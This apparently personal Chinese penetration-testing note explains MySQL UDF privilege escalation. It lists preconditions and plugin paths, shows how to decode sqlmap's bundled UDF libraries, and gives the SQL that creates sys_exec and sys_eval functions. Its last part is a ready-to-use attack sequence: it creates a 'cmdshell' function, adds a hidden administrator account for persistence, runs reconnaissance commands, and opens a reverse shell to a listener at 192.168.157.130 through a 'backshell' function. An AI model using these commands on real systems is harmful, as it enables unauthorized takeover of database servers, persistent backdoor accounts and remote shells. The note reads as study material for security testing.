【渗透测试】MySQL的udf提权笔记
Mysql_udf提权
1、UDF提权原理
正是由于MySQL支持UDF,支持我们自定义函数来扩展功能。当我们创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。
2、udf.dll导出指定文件夹
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
3、plugin目录创建方式
通过菜刀连接创建
通过mysql语句创建
4、提权条件
(1)mysql数据库的root权限
(2)secure_file_priv的值为空
(3)如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
(4)如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
show variables like 'plugin%'; 【查看 plugin 目录】
show global variables like 'secure%'; 【查看secure_file_priv】
select @@basedir; 【查看mysql安装路径】
show variables like '%version_%'; 【确定平台是64位还是32位】
5、复现(暗月的使用)
1)使用moon.php提权马操作完成
www/data/config.php内一般会有数据库的用户名和密码
目标机器上已经出现udf.dll
可以执行系统命令了
2)根据mysql版本自己手动将udf.dll文件写入到对应的目录下
Windows/linux获取udf文件:使用sqlmap生成
(1)Windows下进入sqlmap安装目录下的extra\cloak目录下使用cloak.py工具
python cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
sqlmap的data目录下udf的加密文件,使用上述命令解密一下即可获得udf.dll。
(2)Kali下获取udf文件
将Kali系统中sqlmap自带的udf提权库文件进行解码。 在Kali攻击机上,启动终端,依次输入如下命令:
cd /usr/share/sqlmap/extra/cloak/ 【进入cloak目录】
python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_
【将lib_mysqludf_sys.so_进行解码】
之后在/usr/share/sqlmap/udf/mysql/linux/64
目录下会生成一个名为“lib_mysqludf_sys.so”的解码后的so文件
将dll文件复制到指定的目录下,然后执行SQL命令:
create function sys_exec returns string soname "lib_mysqludf_sys.dll";
然后即可用自己创建的函数执行系统命令
select sys_eval(‘whoami’);
函数介绍:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
一般用于创建新用户维持权限
create function cmdshell returns string soname 'moonudf.dll' 【创建cmdshell】
select cmdshell('net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add') 【添加超级管理员】
select cmdshell('net user') 【查看用户】
select cmdshell('netstat -an') 【查看端口】
select name from mysql.func 【查看创建函数】
delete from mysql.func where name='cmdshell' 【删除cmdshell】
create function backshell returns string soname 'moonudf.dll' 【创建反弹函数】
select backshell('192.168.157.130',12345) 【执行反弹】
delete from mysql.func where name='backshell' 【删除backshell】
久违 2021.8.18
好久没有更新了,我回来了。